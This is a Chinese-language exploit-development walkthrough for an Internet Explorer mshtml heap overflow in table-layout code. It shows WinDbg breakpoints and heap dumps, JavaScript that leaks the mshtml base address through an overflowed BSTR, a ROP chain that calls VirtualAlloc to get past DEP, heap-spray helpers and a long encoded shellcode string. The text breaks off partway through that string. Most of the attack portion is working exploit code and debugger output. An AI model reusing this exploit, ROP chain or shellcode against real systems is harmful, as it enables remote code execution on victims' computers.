style="table-layout:fixed" ><col id="31" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="32" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="33" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="34" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="35" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="36" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="37" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="38" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="39" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="40" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="41" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="42" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="43" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="44" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="45" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="46" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="47" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="48" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="49" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="50" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="51" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="52" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="53" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="54" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="55" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="56" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="57" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="58" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="59" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="60" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="61" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="62" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="63" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="64" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="65" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="66" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="67" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="68" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="69" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="70" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="71" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="72" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="73" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="74" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="75" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="76" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="77" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="78" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="79" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="80" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="81" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="82" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="83" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="84" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="85" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="86" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="87" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="88" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="89" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="90" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="91" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="92" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="93" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="94" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="95" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="96" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="97" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="98" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="99" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="100" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="101" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="102" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="103" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="104" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="105" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="106" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="107" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="108" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="109" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="110" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="111" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="112" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="113" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="114" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="115" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="116" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="117" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="118" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="119" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="120" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="121" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="122" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="123" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="124" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="125" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="126" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="127" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="128" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="129" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="130" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="131" width="41" span="9" >  </col></table><table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
<script language='javascript'>
然后第一次溢出是要修改堆B头的大小,使它可以读取更多的数据。找到溢出堆的位置的方法使,作者的方法是因为释放堆块最后都会调用底层函数ntdll!RtlFreeHeap,所以它的第3个参数即为被释放的堆地址,然后我们下个断点把运行过它的所以地址都打印出来,
bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
并且在调用完mshtml!CImplAry::EnsureSizeWorker函数后的位置也下一个断点,并且打印vulheap的字样。在这里我也卡了一下,因为作者在mshtml!CImplAry::EnsureSizeWorker函数后的位置下的断点是
bu mshtml!CTableLayout::CalculateMinMax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g"
我当时也没怎么考虑就直接照着下了,但发现记录的vulheap都是?????????,后面才意识到因为操作系统版本的不同,所以作者的+0x16在我这里并不是,我在ida里面找到mshtml!CImplAry::EnsureSizeWorker的后一条代码为
.text:3DACD3B0 call EnsureSizeWorker
.text:3DACD3B5
.text:3DACD3B5 loc_3DACD3B5: ; CODE XREF: sub_3DB46B8E+53C5D↓j
.text:3DACD3B5 test eax, eax 然后在3DACD3B5处下断点,回看断点还是有所不同的,在我这里为+0x207的位置。
0:014> bl
0 e 7c92ff2d 0001 (0001) 0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
1 e 3dacd3b5 0001 (0001) 0:**** mshtml!CTableLayout::CalculateMinMax+0x207 ".echo vulheap;dd poi(ebx+9c) l4;g"
运行找到最后一个vulheap,就是我们需要的堆
free heap
00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
free heap
00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
vulheap
04f4b918 000003e0 00450045 00450045 00450045
free heap
00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
free heap
00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
free heap
00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
以下代码通过遍历arr数组,找到BSRC字符串长度大于(0x100-6)/2的BSRC字符串,找到后通过固定的偏移地址(0x100-6)/2+(2+8)/2的长度找到CButtonLayout虚表地址的位置,其中0x100-6是指去掉BSTR的4字节长度和2字节终止符,(2+8)是2字节终止符与8字节堆指针,因为是Unicode字符串,所以都除以2作为长度值计算。
function over_trigger() {
var leak_addr = -1;
for ( var i = 0; i < 500; i++ ) {
if ( arr[i].length > (0x100-6)/2 ) { // overflowed
leak_index = i;
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
mshtmlbase = leak_addr - Number(0x00207f78);
alert(mshtmlbase);
break;
}
}
我们可以看到在04842c58的位置里BSRC的头部已经从fa被覆盖为了010048(这个值是由前面的mshtml!CWidthUnitValue::GetPixelWidth获得)。这样我们就可以溢出读取到后面虚表mshtml!CButtonLayout:: vftable的地址。也就是04f4bc30的值3dc87f78。
0:012> db 04f4b918 l1000
04f4b918 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................
04f4b928 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H.......
04f4b938 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E.
04f4b948 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H...........
04f4b958 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E.
04f4b968 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H...............
04f4b978 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H...
04f4b988 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................
04f4b998 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H.......
04f4b9a8 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E.
04f4b9b8 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H...........
04f4b9c8 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E.
04f4b9d8 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H...............
04f4b9e8 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H...
04f4b9f8 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................
04f4ba08 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H.......
04f4ba18 04 10 00 00 04 10 00 00-fa 00 00 00 41 00 41 00 ............A.A.
04f4ba28 41 00 41 00 48 00 01 00-04 10 00 00 04 10 00 00 A.A.H...........
04f4ba38 04 10 00 00 41 00 41 00-41 00 41 00 41 00 41 00 ....A.A.A.A.A.A.
04f4ba48 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H...............
04f4ba58 41 00 41 00 41 00 41 00-41 00 41 00 48 00 01 00 A.A.A.A.A.A.H...
04f4ba68 04 10 00 00 04 10 00 00-04 10 00 00 41 00 41 00 ............A.A.
04f4ba78 41 00 41 00 41 00 41 00-48 00 01 00 04 10 00 00 A.A.A.A.H.......
04f4ba88 04 10 00 00 04 10 00 00-41 00 41 00 41 00 41 00 ........A.A.A.A.
04f4ba98 41 00 41 00 48 00 01 00-04 10 00 00 04 10 00 00 A.A.H...........
04f4baa8 04 10 00 00 41 00 41 00-41 00 41 00 41 00 41 00 ....A.A.A.A.A.A.
04f4bab8 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H...............
04f4bac8 41 00 41 00 41 00 41 00-41 00 41 00 48 00 01 00 A.A.A.A.A.A.H...
04f4bad8 04 10 00 00 04 10 00 00-04 10 00 00 41 00 41 00 ............A.A.
04f4bae8 41 00 41 00 41 00 41 00-48 00 01 00 04 10 00 00 A.A.A.A.H.......
04f4baf8 04 10 00 00 04 10 00 00-41 00 41 00 41 00 41 00 ........A.A.A.A.
04f4bb08 41 00 41 00 48 00 01 00-04 10 00 00 04 10 00 00 A.A.H...........
04f4bb18 04 10 00 00 41 00 00 00-fc dc 5c ee 00 01 08 ff ....A.....\.....
04f4bb28 48 00 01 00 42 00 42 00-42 00 42 00 42 00 42 00 H...B.B.B.B.B.B.
04f4bb38 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bb48 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bb58 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bb68 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bb78 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bb88 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bb98 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bba8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bbb8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bbc8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bbd8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bbe8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bbf8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bc08 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bc18 42 00 42 00 42 00 42 00-42 00 42 00 42 00 00 00 B.B.B.B.B.B.B...
04f4bc28 1d dc 5c ee 00 01 0c ff-78 7f c8 3d 20 3a 56 04 ..\.....x..= :V.
04f4bc38 c0 7a 71 04 18 81 c8 3d-01 00 00 00 00 00 00 00 .zq....=........
04f4bc48 09 08 08 01 ff ff ff ff-00 00 00 00 00 00 00 00 ................
04f4bc58 00 00 00 00 ff ff ff ff-80 00 00 00 ff ff ff ff ................
04f4bc68 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
04f4bc78 00 00 00 00 24 00 00 00-20 00 00 00 00 00 00 00 ....$... .......
04f4bc88 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
04f4bc98 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
04f4bca8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
04f4bcb8 00 00 00 00 00 00 00 00-00 00 00 00 e0 bc f4 04 ................
04f4bcc8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
04f4bcd8 01 00 00 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
04f4bce8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
04f4bcf8 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
04f4bd08 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
04f4bd18 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
04f4bd28 00 00 00 00 00 00 00 00-3e dc 5c ee 00 01 0c ff ........>.\.....
04f4bd38 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................
04f4bd48 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H.......
04f4bd58 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E.
04f4bd68 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H...........
04f4bd78 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E.
04f4bd88 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H...............
04f4bd98 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H...
04f4bda8 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................
04f4bdb8 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H.......
04f4bdc8 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E.
04f4bdd8 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H...........
04f4bde8 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E.
04f4bdf8 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H...............
04f4be08 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H...
04f4be18 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................
04f4be28 45 00 45 00 41 00 45 00-48 00 01 00 45 00 00 00 E.E.A.E.H...E...
04f4be38 5f dc 5c ee 00 01 08 ff-fa 00 00 00 41 00 41 00 _.\.........A.A.
04f4be48 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4be58 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4be68 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4be78 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4be88 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4be98 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4bea8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4beb8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4bec8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4bed8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4bee8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4bef8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4bf08 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4bf18 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4bf28 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
04f4bf38 41 00 41 00 41 00 00 00-70 dc 5c ee 00 01 08 ff A.A.A...p.\.....
04f4bf48 fa 00 00 00 42 00 42 00-42 00 42 00 42 00 42 00 ....B.B.B.B.B.B.
04f4bf58 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bf68 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bf78 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bf88 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bf98 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bfa8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bfb8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bfc8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bfd8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bfe8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4bff8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4c008 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4c018 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4c028 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
04f4c038 42 00 42 00 42 00 42 00-42 00 42 00 42 00 00 00 B.B.B.B.B.B.B...
04f4c048 91 d3 5c ee 00 01 0c ff-78 7f c8 3d 20 3a 56 04 ..\.....x..= :V.
04f4c058 20 7b 71 04 18 81 c8 3d-01 00 00 00 00 00 00 00 {q....=........
04f4c068 09 08 08 01 ff ff ff ff-00 00 00 00 00 00 00 00 ................
04f4c078 00 00 00 00 ff ff ff ff-80 00 00 00 ff ff ff ff ...............
接下来我们来看看偏移的固定地址,也就是我们把读取的地址减去这个固定地址就是mshtml的基址。
0:013> x mshtml!CButtonLayout::*
3db58509 mshtml!CButtonLayout::GetThemeClassId = <no type information>
3dc88cec mshtml!CButtonLayout::GetInsets = <no type information>
3dc88118 mshtml!CButtonLayout::`vftable' = <no type information>
3db5c879 mshtml!CButtonLayout::GetAutoSize = <no type information>
3de4619e mshtml!CButtonLayout::HitTestContent = <no type information>
3dcbd52b mshtml!CButtonLayout::DrawClientBackground = <no type information>
3dc59955 mshtml!CButtonLayout::Init = <no type information>
3db5c879 mshtml!CButtonLayout::GetMultiLine = <no type information>
3ddaf970 mshtml!CButtonLayout::s_layoutdesc = <no type information>
3de4618e mshtml!CButtonLayout::GetBtnHelper = <no type information>
3de45fc9 mshtml!CButtonLayout::GetFocusShape = <no type information>
3ddaf969 mshtml!CButtonLayout::GetLayoutDesc = <no type information>
3de46129 mshtml!CButtonLayout::DoLayout = <no type information>
3db58509 mshtml!CButtonLayout::GetWordWrap = <no type information>
3dc87f78 mshtml!CButtonLayout::`vftable' = <no type information>
3de45dd4 mshtml!CButtonLayout::DrawClient = <no type information>
3db25649 mshtml!CButtonLayout::`scalar deleting destructor' = <no type information>
3de45e08 mshtml!CButtonLayout::DrawClientBorder = <no type information>
3db25649 mshtml!CButtonLayout::`vector deleting destructor' = <no type information>
3dc88ca5 mshtml!CButtonLayout::GetDefaultSize = <no type information>
0:013> lmm mshtml
start end module name
3da80000 3e037000 mshtml (pdb symbols) c:\symbols\mshtml.pdb\9785E24928F9421FBD0444A38F8668C02\mshtml.pdb
0:013> ?3dc87f78-3da80000
Evaluate expression: 2129784 = 00207f78
网页的弹窗正确显示了mshtml的基址。
劫持eip
接下来再次溢出来劫持eip,通过溢出覆盖对象的虚表指针,覆盖的数据我们可以控制。覆盖的长度span必须要大于29,因为溢出时,需要覆盖vulheap AAA部分 BBB部分 大小为0x1003+82(AAA BBB的堆首信息)+0x8(CButton对象的堆首信息)=0x318,这样才能覆盖到。29*0x1c=0x32c。
function heap_spray(){
CollectGarbage();
var heapobj = new Object();
// generated with mona.py (mshtml.dll v)
function rop_chain(mshtmlbase){
var arr = [
mshtmlbase + Number(0x00001031),
mshtmlbase + Number(0x00002c78), // pop ebp; retn
mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot)
mshtmlbase + Number(0x00352c8b), // pop eax; retn
mshtmlbase + Number(0x00001340), // ptr to &VirtualAlloc() [IAT]
mshtmlbase + Number(0x00124ade), // mov eax,[eax]; retn
mshtmlbase + Number(0x000af93e), // xchg eax,esi; and al,0; xor eax,eax; retn
mshtmlbase + Number(0x00455a9c), // pop ebp; retn
mshtmlbase + Number(0x00128b8d), // & jmp esp
mshtmlbase + Number(0x00061436), // pop ebx; retn
0x00000001, // 0x00000001-> ebx
mshtmlbase + Number(0x0052d8a3), // pop edx; retn
0x00001000, // 0x00001000-> edx
mshtmlbase + Number(0x00003670), // pop ecx; retn
0x00000040, // 0x00000040-> ecx
mshtmlbase + Number(0x001d263d), // pop edi; retn
mshtmlbase + Number(0x000032ac), // retn
mshtmlbase + Number(0x00352c9f), // pop eax; retn
0x90909090, // nop
mshtmlbase + Number(0x0052e805), // pushad; retn
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
];
return arr;
}
function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(heapobj, tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += heapobj.d2u(tab[i]);
}
return uni;
}
heapobj.tab2uni = tab2uni;
heapobj.d2u = d2u;
heapobj.rop_chain = rop_chain;
var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u